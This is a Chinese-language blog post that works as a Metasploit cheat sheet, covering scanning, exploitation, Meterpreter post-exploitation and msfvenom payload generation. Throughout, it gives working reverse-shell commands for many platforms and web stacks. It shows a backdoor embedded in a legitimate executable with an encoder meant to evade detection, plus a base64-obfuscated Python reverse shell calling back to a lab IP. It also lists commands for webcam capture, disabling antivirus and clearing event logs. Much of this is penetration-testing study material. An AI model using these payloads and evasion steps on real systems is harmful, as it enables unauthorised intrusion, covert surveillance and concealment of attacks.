Metasploit食用指北

  • A+
所属分类:安全博客

Metasploit:

一款开源最受欢迎的渗透框架工具,因为开源一些攻击手段自然而然没用处了(手动滑稽)

但是持续的更新和流行的shellcode,集成了各种平台漏洞。还是广受欢迎,确实好用,关键还免费,kali和parrot操作系统都有。

Metasploit涵盖了渗透测试中全过程,你可以在这个框架下利用现有的 Payload进行一系列的渗透测试。

查看版本

1
msfconsole -v

apt更新

1
2
#工作目录下进行
apt-get update

apt安装

1
apt-get install metasploit-framework

更新插件

1
2
3
4
5
wget https://github.com/rapid7/metasploitframework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb

mkdir /usr/share/metasploit-framework/modules/exploits/windows/rdp

cpcve_2019_0708_bluekeep_rce.rb/usr/share/metasploit-framework/modules/exploits/windows/rdp/

一.目录结构

一般安装了它,文件名大多数是metasoloit-framwork

  • data:包含metasploit用于存储某些漏洞、单词列表、图像等所需二进制文件的可编辑文件。
  • documentation:包含框架的可用文档。
  • lib:metasploit的库文件夹。
  • plugins:用来存放metasploit的插件。
  • scripts:用来存放metasploit的脚本,包括meterpreter及其它脚本。
  • tools:存放多种的命令行实用程序。
  • modules:存储metasploit的模块文件。(划重点)

modules目录结构

  • auxiliary:辅助模块,辅助渗透(端口扫描、登录密码爆破、漏洞验证等)
  • exploits:漏洞利用模块,包含主流的漏洞利用脚本,通常是对某些可能存在漏洞的目标进行漏洞利用。命名规则: 操作系统/各种应用协议分类
  • payloads:攻击载荷,主要是攻击成功后在目标机器执行的代码,比如反弹shell的代码
  • post:后渗透阶段模块,漏洞利用成功获得meterpreter之后,向目标发送的一些功能性指令,如:提权等
  • encoders:编码器模块,主要包含各种编码工具,对payload进行编码加密,以便绕过入侵检测和过滤系统
  • evasion:躲避模块,用来生成免杀payload
  • nops:由于IDS/IPS会检查数据包中不规则的数据,在某些情况下,比如针对溢出攻击,某些特殊滑行字符串 (NOPSx90x90…)则会因为被拦截而导致攻击失效。

二.食用方式

1.初始化数据库

1
msfdb init

2.启动

1
msfconsole

3.检测是否连接数据库

1
db_status

4.查看工作区和获取工作区帮助文档

1
2
3
workspace

workspace -h

三.模块db_nmap的食用

1
2
3
4
5
6
7
8
9
10
11
#内网主机探测
db_nmap -PA(ACK Ping)/+/-PS(SYN Ping)/+/-PR(ARP Ping)
#当前工作区所有主机
hosts

db_nmap -T[0-5]#默认为T3,T4表示最大TCP扫描延迟为10ms
-A#打开操作系统探测和版本探测。
-sS/-sA/-ST(TCP SYN,TCP ACK,TCPconnet)
ip

db_nmap --script=vuln ip#检查是否具有常见漏洞

四.auxiliary(辅助)模块的食用

扫描模块为auxliiary其中包含一些常见主机扫描工具,可针对某个漏洞某个系统进行探测具体可用去看官方文档

1
2
3
4
5
6
7
8
9
#设置的食用扫描模块为arp_sweep
msf> use auxliiary/scanner/discovery/arp_sweep
#设置模块参数
set rhosts ip.ip.ip.0/
set threads 20
#启动
run
tips:
show options可观察模块的选项重点在意yes的行
1
2
3
#搜索msf中含有ms17_010的模块
search ms17_010
search platform:windows cve:2009 type:exploit 各个参数的设置操作系统,时间,类型

五.exploit(攻击)模块的食用

跟前一个食用方法基本一致选择攻击模块的哪一种之后可以

1
2
3
4
set设置选项

show targets

1
2
3
4
成功后会建立一个session
background 挂起会话
sessions -l 列出所有会话
sessions -i id 进入哪一个会话

六.msf常用命令

  • show exploits – 查看所有可用的渗透攻击程序代码
  • show auxiliary – 查看所有可用的辅助攻击工具
  • [show]options/advanced– 查看该模块可用选项
  • show payloads – 查看该模块适用的所有载荷代码
  • showtargets – 查看该模块适用的攻击目标类型
  • search– 根据关键字搜索某模块
  • info– 显示某模块的详细信息
  • use– 使用某渗透攻击模块 back– 回退
  • set/unset – 设置/禁用模块中的某个参数
  • setg/unsetg– 设置/禁用适用于所有模块的全局参数
  • save – 将当前设置值保存下来,以便下次启动MSF终端时仍可使用

七.开启摄像头

提前要有此设备:

webcam_list:查看色像头

webcam_snap:通过色像头拍照

webcam_stream:通过色像头开启视频

八.执行上传下载文件

execute: 在目标机器执行文件

创建新进程cmd.exe -H不可见, -i交互

upload 相对本地目录 目标目录

九.meterpreter常用命令

meterpreter > background 放回后台 meterpreter > downloadC:1.txt 1.txt 下载文件
meterpreter > exit 关闭会话 meterpreter > upload /var/www/wce.exe wce.exe 上传 文件
meterpreter > help 帮助信息 meterpreter > search-dc: -f *.doc 搜索文件
meterpreter > sysinfo系统平台信息 meterpreter > execute-f cmd.exe -i 执行程序/命令
meterpreter > screenshot 屏幕截取 meterpreter > ps 查看进程
meterpreter > shell 命令行shell (exit退出) meterpreter > getuid 查看当前用户权限
meterpreter > getlwd 查看本地目录 meterpreter > runkillav 关闭杀毒软件
meterpreter > lcd 切换本地目录 meterpreter > rungetgui-e 启用远程桌面
meterpreter > getwd 查看目录 meterpreter > portfwdadd-l 1234 -p 3389 -r <目标IP> 端口转发
meterpreter > ls 查看文件目录列表
meterpreter > cd 切换目录
meterpreter > rm 删除文件

十.msfvenom

介绍

msfvenom是msfpayload和msfencode的组合。将这两个工具集成在一 个框架实例中。

msfvenom是用来生成后门的软件,在目标机上执行后门,在本地监听 上线。

基本参数

-p:–payload,指定特定的 Payload,如果被设置为 -,那么从标准输入流中读取。几乎支持全平台。

-l:–list,列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, all

-n:–nopsled,指定 nop在 payload中的数量

-f:–format,指定 Payload的输出格式(–listformats:列出所有可用的输出格式)

-e:–encoder,指定使用的encoder -a:–arch,指定目标系统架构 –platform:指定目标系统平台

-s:–space,设置未经编码的 Payload的最大长度(–encoder-space:编码后的 Payload的最大长度)

-b:–bad-chars,设置需要在 Payload中避免出现的字符,例如:’f’、’x00’等

-i:–iterations,设置 Payload的编码次数

–smallest:尽可能生成最短的 Payload

-o:–out,保存 Payload到文件

-c:–add-code,指定一个附加的win32 shellcode文件

-x:–template,指定一个特定的可执行文件作为模板

-k:–keep,保护模板程序的功能,注入的payload作为一个新的进程运行

十一.Msfvenom生成Payload

生成payload可执行程序

Linux:

1
2
3
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf 

msfvenom -p linux/x86/meterpreter/bind_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Windows:

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe 

Mac:

1
2
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.macho

例子

1
2
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.24.146 lport=5445 -x
/root/Desktop/StampRemover.exe -e x86/shikata_ga_nai -f exe -o /var/www/html/heelllo.exe
1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.24.146
msf5 exploit(multi/handler) > set lport 5445
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.24.146:5445
[*] Sending stage (176195 bytes) to 192.168.24.142
[*] Meterpreter session 4 opened (192.168.24.146:5445 -> 192.168.24.142:49643) at 02:56:04 -0400
meterpreter >


x86/shikata_ga_nai:
等级为excellent;
解码和编码过程都是随机生成的
1
2
msfvenom-p windows/meterpreter/reverse_tcplhost=192.168.24.146 lport=5445 -x
/root/Desktop/StampRemover.exe -e x86/shikata_ga_nai -f exe -o /var/www/html/heelllo.exe

msfvenom可以帮助我们从大量的metasploit有效负载中创建需要的负载,合并到利用程序中。这里使用的
payload(windows/meterpreter/reverse_tcp),要回连的主机和端口(lhost,lport)、模板文件(-x
/root/Desktop/StampRemocer.exe)、输出格式(-f exe)及编码( -e x86/shikata_ga_nai)都会整合到
/var/www/html/heelllo.exe中。

Metasploit的exploit/multi/handler模块是一个有效负载处理程序,它只处理在受损主机中执行的有效负载
连接。
Meterpreter是metasploit的后渗透利用工具。基于内存dll注入实现,能够通过创建一个新进程并调用注入
的dll来让目标系统运行注入的dll文件。在该模式下,攻击者与目标设备中Meterpreter的通信是通过stager
套接字实现的。

Web Payload

PHP:

1
msfvenom-p php/meterpreter/reverse_tcpLHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

ASP:

1
msfvenom-a x86 --platform windows -p windows/meterpreter/reverse_tcpLHOST=10.211.55.2 LPORT=3333 -f aspx -o shell.aspx

Jsp:

1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

War:

1
2
msfvenom-p java/jsp_shell_reverse_tcpLHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war >
shell.war

例子PHP payload

1
2
msfvenom -p php/meterpreter_reverse_tcp lhost=192.168.24.146 lport=5555 -f raw -o
/root/Desktop/shell_.php
1
2
3
4
5
6
7
8
9
10
msf5 exploit(multi/handler) > set payload php/meterpreter_reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.24.146
msf5 exploit(multi/handler) > set lport 5555
msf5 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.24.146:5555
[*] Meterpreter session 3 opened (192.168.24.146:5555 -> 192.168.24.142:49419) at 10:54:02 -0400
meterpreter > sysinfo
Computer : SOURCE-PC
OS : Windows NT SOURCE-PC 6.1 build 7600
Meterpreter : php/windows

脚本Payload

Python:

1
msfvenom -p python/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py

Bash:

1
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh

Perl:

1
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl

列子

1
2
msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.24.146 lport=5447 -f raw -o
pythonshell.py
1
2
3
4
5
python -c "exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf8')('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc
29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMjQuMTQ2Jyw1NDQ3KS
kKCQlicmVhawoJZXhjZXB0OgoJCXRpbWUuc2xlZXAoNSkKbD1zdHJ1Y3QudW5wYWNrKCc+SScscy5yZWN2KD
QpKVswXQpkPXMucmVjdihsKQp3aGlsZSBsZW4oZCk8bDoKCWQrPXMucmVjdihsLWxlbihkKSkKZXhlYyhkLHsnc
yc6c30pCg==')[0]))"

stageless&staged payload

Payload分为staged和stageless:

1
2
Staged payload: <platform>/[arch]/<stage>/<stager>
Stagelesspayload: <platform>/[arch]/<single>

StagelessMeterpreter是一个二进制文件,包含Meterpreter的所有必需部分以及所有必需的扩展,全部捆绑在 一起,将完整的payload都编译在木马中,体积庞大

Staged Meterpreter负责建立目标用户与攻击者之间的网络连接,将执行传递到另一个阶段,如:reverse_tcp、 bind_tcp

stageless和staged就像web入侵里面提到的大马和小马一样,一个功能齐全,一个只是构造一个连接或命令执 行,还需通过其他工具和脚本进行管理

简要展现
Payload Staged Stageless
Reverse TCP windows/meterpreter/reverse_tcp windows/meterpreter_reverse_tcp
Reverse HTTPS windows/meterpreter/reverse_https windows/meterpreter_reverse_https
Bind TCP windows/meterpreter/bind_tcp windows/meterpreter_bind_tcp
Reverse TCP IPv6 windows/meterpreter/reverse_ipv6_tcp windows/meterpreter_reverse_ipv6_tcp

十二.Msfvenom几个监听参数介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
msf5 exploit(multi/handler) > advanced
//经常遇到假session或者刚连接就断开,可以在接收到session后,继续监听端口,保持job存活
msf5 exploit(multi/handler) > set ExitOnSessionfalse
//默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0
msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0
//默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关
msf5 exploit(multi/handler) > set SessionExpirationTimeout 0
//后台持续监听,-j表示后台任务,-z表示成功后不主动发送stage,使用jobs命令查看和管理后台任务。jobs -K结束所
有任务
msf5 exploit(multi/handler) > exploit -j -z
//快捷建立监听的方式:
msf5 > handler -H 192.168.24.146 -P 5449 -p windows/meterpreter/reverse_tcp
[*] Payload handler running as background job 1.
[*] Started reverse TCP handler on 192.168.24.146:5449

Tip:

用于网页的拓展shell使用multi/script/web_delivery模块

用于反弹shell接收使用multi/handler模块

getpid查看进程

ps看全部

migrate迁移进程,同权限迁移

clearev清除痕迹

常用:

持续监听:

use exploit/multi/handler

shell转移:

use exploit/windows/local/payload_inject

search ms017

FROM :https://ailumao.cn/ | Author:Ailumao

相关推荐: MacOS 破解安装 Nessus 8.12.0

MacOS 破解安装 Nessus 8.12.0系统环境:macOS 10.15.7 Nessus 版本:8.12.0 下载安装 Nessus 官网:https://www.tenable.com/downloads/nessus 下载后缀 .dmg 安装成功…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: